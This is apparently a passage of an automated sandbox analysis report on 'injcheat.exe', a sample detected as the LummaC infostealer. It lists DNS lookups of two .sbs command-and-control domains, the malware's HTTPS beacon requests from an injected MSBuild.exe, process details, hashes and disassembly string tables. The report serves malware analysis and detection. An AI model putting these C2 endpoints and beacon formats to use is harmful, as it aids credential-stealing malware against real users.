Oct 7, 2024 06:44:56.981722116 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.987222910 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.987375021 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.987449884 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.987533092 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.987533092 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.987577915 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.987606049 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.994488955 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.994601965 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.994659901 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.994693041 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.994708061 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.994719982 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.994725943 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:45:09.063287020 CEST	443	49789	104.98.116.138	192.168.2.7
Oct 7, 2024 06:45:09.063389063 CEST	49789	443	192.168.2.7	104.98.116.138

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 06:44:10.496898890 CEST	64963	53	192.168.2.7	1.1.1.1
Oct 7, 2024 06:44:11.193734884 CEST	65359	53	192.168.2.7	1.1.1.1
Oct 7, 2024 06:44:11.205554962 CEST	53	65359	1.1.1.1	192.168.2.7
Oct 7, 2024 06:44:12.425013065 CEST	51721	53	192.168.2.7	1.1.1.1
Oct 7, 2024 06:44:12.646501064 CEST	53	51721	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 06:44:10.496898890 CEST	192.168.2.7	1.1.1.1	0x7371	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:11.193734884 CEST	192.168.2.7	1.1.1.1	0xa4b9	Standard query (0)	epiloggati.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:12.425013065 CEST	192.168.2.7	1.1.1.1	0x8b8d	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 06:44:10.503937006 CEST	1.1.1.1	192.168.2.7	0x7371	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 06:44:11.205554962 CEST	1.1.1.1	192.168.2.7	0xa4b9	No error (0)	epiloggati.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:11.205554962 CEST	1.1.1.1	192.168.2.7	0xa4b9	No error (0)	epiloggati.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:12.646501064 CEST	1.1.1.1	192.168.2.7	0x8b8d	No error (0)	frizzettei.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:12.646501064 CEST	1.1.1.1	192.168.2.7	0x8b8d	No error (0)	frizzettei.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:13.502547979 CEST	1.1.1.1	192.168.2.7	0x72a8	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 06:44:13.502547979 CEST	1.1.1.1	192.168.2.7	0x72a8	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

epiloggati.sbs

frizzettei.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	188.114.96.3	443	7572	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:11 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: epiloggati.sbs
2024-10-07 04:44:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 04:44:12 UTC	778	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5rf8osltshrsslsp7qimlso2oo; expires=Thu, 30 Jan 2025 22:30:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2MT1TPOWyAXdMHxMqMQMfbeT6bOTp55vqYssgG8ed4%2FAc9QVeONKgN%2FgfunLGvxqhgA%2BPEA4iw0b%2FSIEsaKE%2B3tlqTRxVWhFCIt3guvuw9kA0A%2FIZUeI9r539vfy8Wvx%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3c0e3e3c0ca9-EWR
2024-10-07 04:44:12 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 04:44:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	188.114.96.3	443	7572	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frizzettei.sbs
2024-10-07 04:44:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 04:44:13 UTC	555	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FZFnvF8feYBwQABVa%2BgqqnJiJgRvlgg61F5Ffq1zZXVWt7wcOgp9PMzuPb%2FbPWlWA38vkCmrMUEeAQoiso%2Fhu0AAzd7TrPIZRabgsRaE7PY%2FUK3DT8GbcBjDfF9%2FDSsY9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3c16fcf7420a-EWR
2024-10-07 04:44:13 UTC	814	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-07 04:44:13 UTC	1369	IN	Data Raw: 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 Data Ascii: les/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('
2024-10-07 04:44:13 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 53 6c 68 32 78 4b 43 36 75 31 6e 59 63 37 73 74 30 64 59 73 75 74 4d 6b 69 35 6a 5a 7a 5f 6a 53 52 36 42 44 41 4e 6b 64 73 62 30 2d 31 37 32 38 32 37 36 32 35 33 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e Data Ascii: <input type="hidden" name="atok" value="Slh2xKC6u1nYc7st0dYsutMki5jZz_jSR6BDANkdsb0-1728276253-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn
2024-10-07 04:44:13 UTC	853	IN	Data Raw: 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 Data Ascii: or sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflar
2024-10-07 04:44:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49707	188.114.96.3	443	7572	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:13 UTC	351	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Slh2xKC6u1nYc7st0dYsutMki5jZz_jSR6BDANkdsb0-1728276253-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: frizzettei.sbs
2024-10-07 04:44:13 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 37 34 32 37 31 33 38 31 33 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6742713813&j=
2024-10-07 04:44:14 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8jors3gl7n39la1sn3ptc8op4b; expires=Thu, 30 Jan 2025 22:30:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KowwpFgulXiqcXULKXFrtRnaELkXu%2BfdNmFW3AZnZZcU2h1zZxY1nH4TTggADg1y3BrI3U1pcWUt%2F%2BySYlvIZsKLisODucVuXTrpPlDiNFUoHMwnB%2Fq5%2Bgu3dRE40BjrJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3c1b1d8742e2-EWR
2024-10-07 04:44:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 04:44:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	00:44:09
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\injcheat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\injcheat.exe"
Imagebase:	0x810000
File size:	561'016 bytes
MD5 hash:	46F8135073242F0382B575B73C992AA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:44:09
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x6a0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:44:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 304
Imagebase:	0x5f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:44:12
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7572 -s 1620
Imagebase:	0x5f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.2%
Total number of Nodes:	74
Total number of Limit Nodes:	1

Executed Functions

Function 00811FE0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 435
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00894AE0,000004E4,00000040,?), ref: 00812497
CallWindowProcA.USER32 ref: 008124CA
CallWindowProcW.USER32 ref: 008124D0

Strings

V, xrefs: 00812408
MZx, xrefs: 008124A9, 008124B5, 008124BA

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: CallProcWindow$ProtectVirtual
String ID: MZx$V
API String ID: 3925981636-3958614188
Opcode ID: 436cb6b108b4af2ab3ba6a949238ca981f477042f97d1ab2794f9d0d67ebc7fb
Instruction ID: 3c28d14f7b1291aedcaa6fa5836b1e6db6a6569903b96d7cd796e5cb5cbf1a81
Opcode Fuzzy Hash: 436cb6b108b4af2ab3ba6a949238ca981f477042f97d1ab2794f9d0d67ebc7fb
Instruction Fuzzy Hash: F0B1DC17634E2F06D30CB0348D522F6A14EFFBA731F854336AA66D77F4E35A49929284

Non-executed Functions

Function 00859A4F Relevance: 31.9, Strings: 24, Instructions: 1933COMMON

Download Yara Rule

Strings

89>?, xrefs: 0085A8D6
DCBA, xrefs: 0085A767, 0085A776
dcba, xrefs: 0085A608
@ONM, xrefs: 0085A5BB
lkji, xrefs: 0085A61E
|, xrefs: 0085AB91
LKJI, xrefs: 0085A5C6
xgfe, xrefs: 0085A5FD
`onm, xrefs: 0085A613
tuJK, xrefs: 0085A847
<=2, xrefs: 0085A8E1
()./, xrefs: 0085A8AA
89&', xrefs: 0085A81B
<=:;, xrefs: 0085A810
%*+(, xrefs: 00859D17, 00859D26
WP, xrefs: 00859BCF
AR, xrefs: 00859BF0
tsrq, xrefs: 0085A5DC
:WUE, xrefs: 0085B597, 0085B5A6
QNOL, xrefs: 0085A655
D, xrefs: 0085A726
T, xrefs: 0085B037
`Y^_, xrefs: 0085A87E
mjkh, xrefs: 0085A6B8

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+($()./$89&'$89>?$:WUE$<=2$<=:;$@ONM$AR$D$DCBA$LKJI$QNOL$T$WP$`Y^_$`onm$dcba$lkji$mjkh$tsrq$tuJK$xgfe$|
API String ID: 0-1418943773
Opcode ID: a9f1e68edfaf0ae1e626f109336ed9d19a6b5191b739eb3bbf20b7e6025201f9
Instruction ID: 76d04056568f60d0a85af0656a96fcd7a0907976c17ab23d99614572f27013c6
Opcode Fuzzy Hash: a9f1e68edfaf0ae1e626f109336ed9d19a6b5191b739eb3bbf20b7e6025201f9
Instruction Fuzzy Hash: 45F256B05093819BD774CF14C884BABBBE6FBD5345F14492CE9C99B252EB319888CB53

Function 00865ECC Relevance: 21.7, Strings: 17, Instructions: 438
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?m,o, xrefs: 0086601C
S], xrefs: 00866516
Gt, xrefs: 00865ED8
CG, xrefs: 00866912
WQ, xrefs: 0086650B
=], xrefs: 0086624A
%e6g, xrefs: 00866032
WH, xrefs: 008668FC
sm, xrefs: 00866710
kW, xrefs: 00866260
hi, xrefs: 00866A7D
N[, xrefs: 00866255
]{, xrefs: 008660C7, 008660D3
(a*c, xrefs: 00866027
/), xrefs: 0086654D
_Y, xrefs: 00866521
JG, xrefs: 00866907

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %e6g$(a*c$=]$?m,o$CG$Gt$JG$N[$WH$]{$hi$kW$/)$S]$WQ$_Y$sm
API String ID: 0-1131134755
Opcode ID: 7fe6c7d6d9efdaf882a2b9df3b8a54a15053ee68894a73401dbca1371ba866d9
Instruction ID: af635bea78620901f40cb34ff1c2d529b0f3d74d522591a5df3341921093fcc4
Opcode Fuzzy Hash: 7fe6c7d6d9efdaf882a2b9df3b8a54a15053ee68894a73401dbca1371ba866d9
Instruction Fuzzy Hash: 2D42A6B414D385CAE274CF25D681B8EBAE1BB92740F608E1DD1ED9B255DBB08049CF93

Function 00865667 Relevance: 11.4, Strings: 9, Instructions: 103COMMON

Download Yara Rule

Strings

,A&C, xrefs: 0086570E
W!Q#, xrefs: 008656CE
z=Q?, xrefs: 00865706
W5W7, xrefs: 008656F6
;IJK, xrefs: 0086571E
!E4G, xrefs: 00865716
I)C+, xrefs: 008656DE
@-r/, xrefs: 008656E6
|1]3, xrefs: 008656EE

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: !E4G$,A&C$;IJK$@-r/$I)C+$W!Q#$W5W7$z=Q?$|1]3
API String ID: 0-2124749398
Opcode ID: f2cd62d45247a4721067a6d54a2199a1ff98fbe07b7bed4634b5cc81127c74ee
Instruction ID: f27009262343f0493f17bdeea915ec51442c39722a5eba492e6711a15e4afc5a
Opcode Fuzzy Hash: f2cd62d45247a4721067a6d54a2199a1ff98fbe07b7bed4634b5cc81127c74ee
Instruction Fuzzy Hash: 57314FB4108381DBC710AF54D8A062BBBF0FF96789F95592CF8C58B221E334D944CB96

Function 0082D0F9 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0082D2DD

Strings

1#INF, xrefs: 0082D22F
1#IND, xrefs: 0082D1FE
1#SNAN, xrefs: 0082D205
1#QNAN, xrefs: 0082D20C

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 2f6ae2d28aaa2baa85052858679fefc5e107e1067415c7441a011dc110697b80
Instruction ID: 43e0f8551f11937cd95a2a645fc3707b6e78bafa15ec92a695f9a55a22594754
Opcode Fuzzy Hash: 2f6ae2d28aaa2baa85052858679fefc5e107e1067415c7441a011dc110697b80
Instruction Fuzzy Hash: D1D20571E086288BDB65CE28ED407EAB7B5FB44305F1441EAD84DE7240EB78AEC58F45

Function 0086E2C0 Relevance: 9.1, Strings: 7, Instructions: 359COMMON

Download Yara Rule

Strings

mlc@, xrefs: 0086E63C
aenQ, xrefs: 0086E64A
ggxz, xrefs: 0086E565
f@~!, xrefs: 0086E4DF
`tii, xrefs: 0086E573
{l`~, xrefs: 0086E56C
fedc, xrefs: 0086E662

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: `tii$aenQ$f@~!$fedc$ggxz$mlc@${l`~
API String ID: 0-3056062858
Opcode ID: 81e2fee55be0e0ed83158224188c4395161ee7ac948e32e04c625285de5dfabf
